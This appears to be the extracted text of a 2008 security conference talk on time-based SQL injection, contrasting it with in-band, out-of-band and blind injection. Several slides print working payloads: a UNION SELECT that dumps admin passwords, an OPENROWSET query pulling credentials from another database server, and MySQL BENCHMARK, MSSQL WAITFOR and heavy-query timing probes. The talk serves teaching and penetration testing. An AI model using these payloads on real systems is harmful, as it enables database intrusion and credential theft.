Time Based SQL Injection Presented by Muhaimin Dzulfakar

Who am I Muhaimin Dzulfakar Security Consultant – Security-Assessment. com Application and network pen-tester

Agenda What is time based SQL Injection Differences between blind and time based SQL Injection Time based injection with heavy queries Limitation of time based SQL Injection 3 © 2008 Security-Assessment. com

Different types of SQL Injection In Band Injection Out of Band Injection Blind SQL

In Band Injection Results are embedded via union select Useful when SQL error message is displayed Fastest way to extract data Ex: http: //www. buyviagra. com/buy. php? id=1 UNION ALL null, concat(username, 0 x 3 a, admin_password), null from admin/* 5 © 2008 Security-Assessment. com

In Band Injection 6 © 2008 Security-Assessment. com

Out of Band Injection Use a different communication channel to drill for data Ex: Web Mail application in which data received via SMTP is processed Example of attack: Accessing your neighbour database server with OOB injection Ex: http: //www. buyviagra. com/buy. asp? id=1 UNION ALL SELECT a. * FROM OPENROWSET('SQLOLEDB', 'uid=sa; pwd=; Network=DBMSSOCN; Address=10. 1. 1. 1; timeout=1', 'SELECT user, pass FROM users') AS a-- 7 © 2008 Security-Assessment. com

Out of Band Injection www. buyviagra. com Web server OOB Injection Database B 10.

Blind SQL Injection Application generates custom error message for failed response and normal page for successful response Comparison between true and false response AND 1=1 -> true AND 1=2 -> false Read data byte by byte 9 © 2008 Security-Assessment. com

Blind SQL Injection 10 © 2008 Security-Assessment. com

Blind SQL Injection 11 © 2008 Security-Assessment. com

Time Based SQL Injection Use time delay to differentiate between true and false True response – time delay is executed Failed response – time delay is not executed Read data byte by byte – exactly the same method as blind injection First example by Chris Anley's paper – More advanced SQL Injection Another example is in David Litchfield paper – Data Mining with SQL Injection and Inference 12 © 2008 Security-Assessment. com

When we need Time Based SQL Injection When the application generates default page for true or false response When the application generates the same custom error page for true or false response Injection is successful but can't be seen by the attacker 13 © 2008 Security-Assessment. com

Scenario 1 (Blind Injection attack) $default=1 if value is not between 1 -20 { redirect user to page. php? id=$default execute SQL statement } 1 AND 1=1 [TRUE] -> default page displayed 1 AND 1=2 [FALSE] -> default page displayed BLIND INJECTION FAILED! 14 © 2008 Security-Assessment. com

Scenario 1 (Time Based Blind Injection attack) $default=1 if value is not between 1 -20 { redirect user to page. php? id=$default execute SQL statement } 1 AND 1=1 [TRUE] -> takes 5 seconds to response 1 AND 1=2 [FALSE] -> takes 1 second to response TIME BASED BLIND INJECTION WORKS! 15 © 2008 Security-Assessment. com

Time Based SQL Injection FALSE = 117 ms TRUE = 2478 ms 16 ©

Spot the different Blind Injection (for My. Sql) 1 AND ASCII(substring((@@version), 1, 1))<52 If the first character of the database version is less than 4, it is true If the first character of database version is 4 or more, it is false query position operator char 17 © 2008 Security-Assessment. com

Spot the different Time Based Blind injection (for My. SQL) 1 AND (SELECT IF((IFNULL(ASCII(SUBSTRING((SELECT @@version), 1, 1)), 0)<52), BENCHMARK(900000, SHA 1(1)), 1)) If the first character of database version is less than 4, execute BENCHMARK If the first character of database version is not less than 4, do not execute BENCHMARK char query operator count time delay position 18 © 2008 Security-Assessment. com

Time Based Injection on MSSQL Time Based Injection (MSSQL) 1 AND if not(substring((select @version), 25, 1) < 52) waitfor delay '0: 0: 9'-If the first character less than 4, execute “waitfor delay” query time delay position operator char 19 © 2008 Security-Assessment. com

Other Databases Oracle (without PL/SQL support) MS Access, DB 2 do not have delay functions Time Based Injection is possible by using heavy queries Chema Alonso and Jose Prada talked about this in Defcon 2008 2 types of conditions in 'where clause' Light Condition first Heavy Condition first Select A from B where Condition. A and Condition. B 20 © 2008 Security-Assessment. com

Heavy condition first Heavy condition 100 sec Light Condition 10 sec Heavy & Light Condition Result True False 110 Seconds True 110 Seconds False - False 100 Seconds Result from Alonso research 21 © 2008 Security-Assessment. com

Light condition first Light condition 10 sec Heavy Condition 100 sec Heavy & Light Condition Result True False 110 Seconds True 110 Seconds False - False 10 Secon ds Result from Alonso research 22 © 2008 Security-Assessment. com

Heavies Queries Oracle evaluates the conditions from left to right MS Access evaluates the conditions from right to left MSSQL evaluates light condition first Table name needs to be known Some of the well known default tables MSSQL – sysussers My. SQL – information_schema. colums Oracle - all_users 23 © 2008 Security-Assessment. com

Heavies Queries Example of time based injection using heavy queries on MSSQL (light condition evaluates first) 1 AND (select count(*) FROM sysusers as sys 1, sys 2, sysusers as sys 3, sysusers as sys 4, sysusers as sys 5, sysusers as sys 6, sysusers as sys 7, sysusers as sys 8)> 0 AND 52 < (select top 1 ASCII(substring(name, 1, 1)) from sysusers) Suitable for databases that do not support time delay functions Ex: Oracle and MS Access heavy query light query 24 © 2008 Security-Assessment. com